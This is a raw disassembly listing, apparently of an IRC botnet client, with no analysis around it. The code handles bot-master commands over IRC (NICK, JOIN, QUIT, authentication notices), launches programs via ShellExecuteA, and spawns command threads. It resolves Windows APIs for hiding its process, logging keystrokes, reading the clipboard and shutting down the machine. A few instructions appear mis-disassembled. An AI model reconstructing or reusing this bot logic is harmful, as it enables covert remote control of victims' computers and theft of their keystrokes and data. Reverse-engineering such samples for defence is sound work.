		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_4090AA:				; CODE XREF: .nsp0:00408CD4j
					; .nsp0:00408CECj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		pop	ecx
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_4090BC:				; CODE XREF: .nsp0:00405AA8j
					; .nsp0:00405ABDj
		push	7Fh
		lea	eax, [ebp-2080h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		mov	esi, [ebp+esi-88h]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4090ED
		push	7Fh
		lea	eax, [ebp-2000h]
		push	esi
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_4090ED:				; CODE XREF: .nsp0:004090D9j
		push	7Fh
		lea	eax, [ebp-1F80h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+18h]
		mov	[ebp-2084h], eax
		mov	eax, [ebp-8]
		mov	[ebp-1EFCh], eax
		mov	eax, [ebp-4]
		mov	[ebp-1EF8h], eax
		lea	eax, [ebp-2C0h]
		push	offset dword_430770
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Ch
		push	eax
		call	sub_40B00E
		add	esp, 24h
		mov	[ebp-1F00h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2084h]
		push	ebx
		push	eax
		push	offset sub_41B65E
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-1F00h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40918D


loc_409177:				; CODE XREF: .nsp0:0040918Bj
		cmp	[ebp-1EF4h], ebx
		jnz	loc_406C86
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_409177
; ---------------------------------------------------------------------------


loc_40918D:				; CODE XREF: .nsp0:00409175j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_430730


loc_409199:				; CODE XREF: .nsp0:0040449Bj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_406C86
; ---------------------------------------------------------------------------


loc_4091AD:				; CODE XREF: .nsp0:00405A7Ej
					; .nsp0:00405A93j
		push	ebx
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+18h]
		call	sub_41011E
		push	dword ptr [ebp+18h]
		push	offset dword_430718
		jmp	loc_40898A
; ---------------------------------------------------------------------------


loc_4091CC:				; CODE XREF: .nsp0:00405A54j
					; .nsp0:00405A69j
		push	14h
		lea	eax, [ebp-1D48h]
		push	ebx
		push	eax
		call	sub_41BC40
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-1D34h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		mov	eax, [ebp+0Ch]
		mov	[ebp-1D50h], eax
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-1C30h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp-4]
		mov	[ebp-1BA8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-1BA4h], eax
		lea	eax, [ebp-1C30h]
		push	eax
		lea	eax, [ebp-1D34h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_4306F4
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Ah
		push	eax
		call	sub_40B00E
		add	esp, 40h
		mov	[ebp-1BACh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1D50h]
		push	ebx
		push	eax
		push	offset loc_416425
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-1BACh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40929E


loc_409288:				; CODE XREF: .nsp0:0040929Cj
		cmp	[ebp-1BA0h], ebx
		jnz	loc_40833C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_40929E:				; CODE XREF: .nsp0:004022D7j
					; .nsp0:00409286j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4306B8
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_4092AF:				; CODE XREF: .nsp0:00405A2Aj
					; .nsp0:00405A3Fj
		push	dword ptr [ebp+18h]
		call	near ptr 0B40000h
		inc	edx
		test	eax, eax
		jz	short loc_4092C6
		push	dword ptr [ebp+18h]
		push	offset dword_43069C
		jmp	short loc_4092D1
; ---------------------------------------------------------------------------


loc_4092C6:				; CODE XREF: .nsp0:004092BAj
		push	offset dword_430ED8
		call	sub_4188F8
		push	eax


loc_4092D1:				; CODE XREF: .nsp0:004092C4j
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		jmp	loc_4093B4
; ---------------------------------------------------------------------------


loc_4092E7:				; CODE XREF: .nsp0:00405A00j
					; .nsp0:00405A15j
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		push	eax
		call	sub_41A252
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	dword ptr [ebp+18h]
		cmp	eax, esi
		jnz	short loc_409308
		push	offset unk_430678
		jmp	short loc_40930D
; ---------------------------------------------------------------------------


loc_409308:				; CODE XREF: .nsp0:004092FFj
		push	offset unk_430648


loc_40930D:				; CODE XREF: .nsp0:00409306j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_406C89
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_406C89
; ---------------------------------------------------------------------------


loc_409346:				; CODE XREF: .nsp0:004059D6j
					; .nsp0:004059EBj
		push	ebx
		push	ebx
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	sub_419F45
		add	esp, 18h
		cmp	eax, 1
		push	dword ptr [ebp+18h]
		jnz	short loc_40936C
		push	offset unk_430628
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_40936C:				; CODE XREF: .nsp0:00409360j
		push	offset unk_4305F8
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_409376:				; CODE XREF: .nsp0:004059ACj
					; .nsp0:004059C1j
		mov	esi, [ebp+18h]
		push	esi
		call	dword_4D1230	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-2D4h], eax
		jz	short loc_4093BC
		push	2
		lea	eax, [ebp-2D4h]
		push	4
		push	eax
		call	dword_4D11A8	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4093D7
		push	dword ptr [eax]


loc_4093A2:				; CODE XREF: .nsp0:004093D5j
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset unk_4305D8
		push	eax
		call	sub_41BF36


loc_4093B4:				; CODE XREF: .nsp0:004092E2j
		add	esp, 10h
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_4093BC:				; CODE XREF: .nsp0:00409389j
		push	esi
		call	dword_4D1274	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4093D7
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4D127C	; inet_ntoa
		push	eax
		jmp	short loc_4093A2
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: .nsp0:0040939Ej
					; .nsp0:004093C5j
		push	offset unk_4305B0
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4093E1:				; CODE XREF: .nsp0:00405982j
					; .nsp0:00405997j
		push	7Fh
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+1Ch]
		call	sub_41BCA0
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_430588
		push	eax
		call	sub_41BF36
		add	esp, 18h
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_40940A:				; CODE XREF: .nsp0:00405958j
					; .nsp0:0040596Dj
		push	5
		push	ebx
		push	ebx
		push	dword ptr [ebp+18h]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4D115C	; ShellExecuteA
		push	dword ptr [ebp+18h]
		test	eax, eax
		jz	short loc_40942E
		push	offset unk_430568
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_40942E:				; CODE XREF: .nsp0:00409422j
		push	offset unk_430544
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_409438:				; CODE XREF: .nsp0:0040592Ej
					; .nsp0:00405943j
		mov	eax, [ebp+18h]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_43051C
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_409451:				; CODE XREF: .nsp0:00405904j
					; .nsp0:00405919j
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40AFA5
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		jmp	loc_4088D6
; ---------------------------------------------------------------------------


loc_4094A0:				; CODE XREF: .nsp0:004058DAj
					; .nsp0:004058EFj
		mov	esi, [ebp+18h]
		push	esi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_401D6C
		push	esi
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_401D6C
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	dword_44412C[eax]
		call	sub_40998C
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_427064	; Sleep
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	dword_44412C[eax]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-10h]
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	dword_444134[eax]
		call	near ptr 0B40000h
		in	al, dx
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		push	esi
		mov	dword_444134[eax], ebx
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_443F20[eax], bl
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_40954E:				; CODE XREF: .nsp0:004058B0j
					; .nsp0:004058C5j
		push	dword ptr [ebp+18h]
		push	offset aAll	; "all"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4095BA
		call	sub_40B1D7
		cmp	eax, ebx
		jle	short loc_409575
		push	eax
		push	offset unk_4304F0
		jmp	loc_4072A9
; ---------------------------------------------------------------------------


loc_409575:				; CODE XREF: .nsp0:00409568j
		push	offset unk_4304C8


loc_40957A:				; CODE XREF: .nsp0:00403FC1j
					; .nsp0:00403FE0j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_409588:				; CODE XREF: .nsp0:004072B8j
					; .nsp0:00408C2Dj
		cmp	[ebp-8], ebx
		jnz	short loc_4095A9
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]


loc_4095A1:				; CODE XREF: .nsp0:004087C6j
		call	sub_4099D2
		add	esp, 14h


loc_4095A9:				; CODE XREF: .nsp0:004041C6j
					; .nsp0:004041F1j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		jmp	loc_4020BB
; ---------------------------------------------------------------------------


loc_4095BA:				; CODE XREF: .nsp0:0040955Fj
		mov	eax, [ebp-0A8h]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401D6C
		lea	eax, [ebp+edi*4-90h]
		mov	[ebp+2Ch], eax


loc_4095D6:				; CODE XREF: .nsp0:00409647j
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401D6C
		push	esi
		call	sub_41BE29
		push	eax
		call	sub_40B149
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_4095FD
		push	offset unk_4304A4
		jmp	short loc_409602
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: .nsp0:004095F4j
		push	offset unk_430478


loc_409602:				; CODE XREF: .nsp0:004095FBj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_409632
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_409632:				; CODE XREF: .nsp0:00409614j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_4095D6
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_40964E:				; CODE XREF: .nsp0:00405886j
					; .nsp0:0040589Bj
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4097B8
		push	esi
		push	offset dword_430C18
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	esi
		push	offset dword_43045C
		jmp	loc_408AB7
; ---------------------------------------------------------------------------


loc_409687:				; CODE XREF: .nsp0:0040585Cj
					; .nsp0:00405871j
		push	dword ptr [ebp+18h]
		push	offset dword_430B7C
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		push	offset unk_430438
		jmp	loc_408AB7
; ---------------------------------------------------------------------------


loc_4096A4:				; CODE XREF: .nsp0:00405832j
					; .nsp0:00405847j
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+18h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		push	offset unk_430414
		jmp	loc_40898A
; ---------------------------------------------------------------------------


loc_4096C8:				; CODE XREF: .nsp0:00405808j
					; .nsp0:0040581Dj
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		push	offset unk_4303F0
		jmp	loc_408AB7
; ---------------------------------------------------------------------------


loc_4096E5:				; CODE XREF: .nsp0:00404C73j
					; .nsp0:00404C88j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_4303CC
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 1Ch


loc_40971D:				; CODE XREF: .nsp0:00409769j
		push	eax
		call	dword_427064	; Sleep


loc_409724:				; CODE XREF: .nsp0:00404599j
		xor	eax, eax
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_40972B:				; CODE XREF: .nsp0:00404C49j
					; .nsp0:00404C5Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_4303A4
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_40971D
; ---------------------------------------------------------------------------


loc_40976B:				; CODE XREF: .nsp0:004029B7j
					; .nsp0:004029CCj
		push	dword ptr [ebp+esi-8Ch]
		xor	eax, eax
		cmp	[ebp-8F0h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-338h]
		push	dword_42909C
		push	eax
		call	sub_40AFA5
		lea	eax, [ebp-338h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		lea	eax, [ebp-338h]
		push	eax
		push	offset unk_430380
		call	sub_41581A


loc_4097B5:				; CODE XREF: .nsp0:00406CF0j
		add	esp, 24h


loc_4097B8:				; CODE XREF: .nsp0:00402161j
					; .nsp0:0040216Dj ...
		mov	eax, [ebp+2Ch]
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: .nsp0:004025A2j
					; .nsp0:004025B7j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		mov	[ebp+18h], esi
		jz	loc_401D6C
		cmp	[ebp-0A4h], ebx
		jnz	loc_401D6C
		push	offset dword_42C2D0
		push	dword ptr [ebp-90h]
		call	sub_41C794
		mov	esi, eax
		push	offset dword_4D10A8
		push	ebx
		inc	esi
		call	sub_41C794
		push	offset asc_43037C ; "~"
		push	eax
		call	sub_41C794
		push	dword ptr [ebp+18h]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_41C710
		add	esp, 20h
		test	eax, eax
		jz	short loc_409868
		lea	eax, [ebp-0C0h]
		push	edi
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	edi
		push	esi
		push	offset unk_4302FC


loc_409854:				; CODE XREF: .nsp0:004098C4j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 30h
		jmp	loc_40833C
; ---------------------------------------------------------------------------


loc_409868:				; CODE XREF: .nsp0:0040981Bj
		mov	dword ptr [ebp+2Ch], offset off_429148


loc_40986F:				; CODE XREF: .nsp0:0040988Bj
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_40B367
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098C6
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_42914C
		jl	short loc_40986F
		lea	eax, [ebp-0C0h]
		push	edi
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	edi
		push	esi
		push	offset unk_4302A8
		jmp	short loc_409854
; ---------------------------------------------------------------------------


loc_4098C6:				; CODE XREF: .nsp0:0040987Ej
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4098CB:				; CODE XREF: .nsp0:004098F5j
		cmp	[ebp+18h], ebx
		jz	loc_401D6C
		cmp	[edi], bl
		jnz	short loc_4098EB
		push	dword ptr [ebp+18h]
		push	offset aHi	; "hi"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4098FC


loc_4098EB:				; CODE XREF: .nsp0:004098D6j
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_4098CB
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: .nsp0:004098E9j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0E00h]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BCA0
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_409933
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_430288
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_409933:				; CODE XREF: .nsp0:00409917j
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_430268
		jmp	loc_4020B5
; ---------------------------------------------------------------------------


loc_409944:				; CODE XREF: .nsp0:00401D83j
					; .nsp0:00401D98j
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	offset aI_0	; "+i"
		push	dword ptr [ebp+18h]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		add	esp, 2Ch
		push	1
		pop	eax
		mov	dword_4D10A0, eax
		jmp	loc_401D6F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40998C	proc near		; CODE XREF: sub_401A09+30p
					; .nsp0:00401D47p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C830
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1240	; send
		leave
		retn
sub_40998C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099D2	proc near		; CODE XREF: .nsp0:0040201Ep
					; .nsp0:00402E6Cp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_4099ED
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_4099ED:				; CODE XREF: sub_4099D2+14j
		push	edi
		call	sub_41B890
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B890
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_41C030
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41BF36
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1240	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409A6B
		push	7D0h
		call	dword_427064	; Sleep

locret_409A6B:				; CODE XREF: sub_4099D2+8Cj
		leave
		retn
sub_4099D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A6D	proc near		; CODE XREF: .nsp0:004012A0p
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp ; dword_42709C
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409B8D
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_4270BC
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4D129C, eax
		call	esi ; dword_4270BC
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4D1210, eax
		call	esi ; dword_4270BC
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4D11F4, eax
		call	esi ; dword_4270BC
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4D1104, eax
		call	esi ; dword_4270BC
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4D10B0, eax
		call	esi ; dword_4270BC
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4D10E0, eax
		call	esi ; dword_4270BC
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4D1158, eax
		call	esi ; dword_4270BC
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4D1250, eax
		call	esi ; dword_4270BC
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4D12AC, eax
		call	esi ; dword_4270BC
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4D1110, eax
		call	esi ; dword_4270BC
		cmp	dword_4D129C, ebx
		mov	dword_4D10F8, eax
		jz	short loc_409B6B
		cmp	dword_4D1210, ebx
		jz	short loc_409B6B
		cmp	dword_4D11F4, ebx
		jz	short loc_409B6B
		cmp	dword_4D1104, ebx
		jz	short loc_409B6B
		cmp	dword_4D10E0, ebx
		jz	short loc_409B6B
		cmp	dword_4D1158, ebx
		jz	short loc_409B6B
		cmp	dword_4D1250, ebx
		jz	short loc_409B6B
		cmp	dword_4D12AC, ebx
		jz	short loc_409B6B
		cmp	dword_4D1110, ebx
		jz	short loc_409B6B
		cmp	eax, ebx
		jnz	short loc_409B75


loc_409B6B:				; CODE XREF: sub_409A6D+B8j
					; sub_409A6D+C0j ...
		mov	dword_4D12B0, 1


loc_409B75:				; CODE XREF: sub_409A6D+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; dword_4270BC
		cmp	eax, ebx
		mov	dword_4D1228, eax
		jz	short loc_409BA2
		push	1
		push	ebx
		call	eax
		jmp	short loc_409BA2
; ---------------------------------------------------------------------------


loc_409B8D:				; CODE XREF: sub_409A6D+1Dj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12B4, eax
		mov	dword_4D12B0, 1


loc_409BA2:				; CODE XREF: sub_409A6D+117j
					; sub_409A6D+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4270B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CB7
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4D124C, eax
		call	esi ; dword_4270BC
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4D11FC, eax
		call	esi ; dword_4270BC
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4D1190, eax
		call	esi ; dword_4270BC
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4D12A0, eax
		call	esi ; dword_4270BC
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4D11C0, eax
		call	esi ; dword_4270BC
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4D11E0, eax
		call	esi ; dword_4270BC
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4D1244, eax
		call	esi ; dword_4270BC
		cmp	dword_4D124C, ebx
		mov	dword_4D1130, eax
		jz	short loc_409C5B
		cmp	dword_4D11FC, ebx
		jz	short loc_409C5B
		cmp	dword_4D1190, ebx
		jz	short loc_409C5B
		cmp	dword_4D12A0, ebx
		jz	short loc_409C5B
		cmp	dword_4D11C0, ebx
		jz	short loc_409C5B
		cmp	dword_4D11E0, ebx
		jz	short loc_409C5B
		cmp	dword_4D1244, ebx
		jz	short loc_409C5B
		cmp	eax, ebx
		jnz	short loc_409C65


loc_409C5B:				; CODE XREF: sub_409A6D+1B8j
					; sub_409A6D+1C0j ...
		mov	dword_4D12B8, 1


loc_409C65:				; CODE XREF: sub_409A6D+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; dword_4270BC
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4D11BC, eax
		call	esi ; dword_4270BC
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4D10C4, eax
		call	esi ; dword_4270BC
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4D118C, eax
		call	esi ; dword_4270BC
		cmp	dword_4D11BC, ebx
		mov	dword_4D1174, eax
		jz	short loc_409CC2
		cmp	dword_4D10C4, ebx
		jz	short loc_409CC2
		cmp	dword_4D118C, ebx
		jz	short loc_409CC2
		cmp	eax, ebx
		jnz	short loc_409CCC
		jmp	short loc_409CC2
; ---------------------------------------------------------------------------


loc_409CB7:				; CODE XREF: sub_409A6D+144j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12BC, eax


loc_409CC2:				; CODE XREF: sub_409A6D+232j
					; sub_409A6D+23Aj ...
		mov	dword_4D12B8, 1


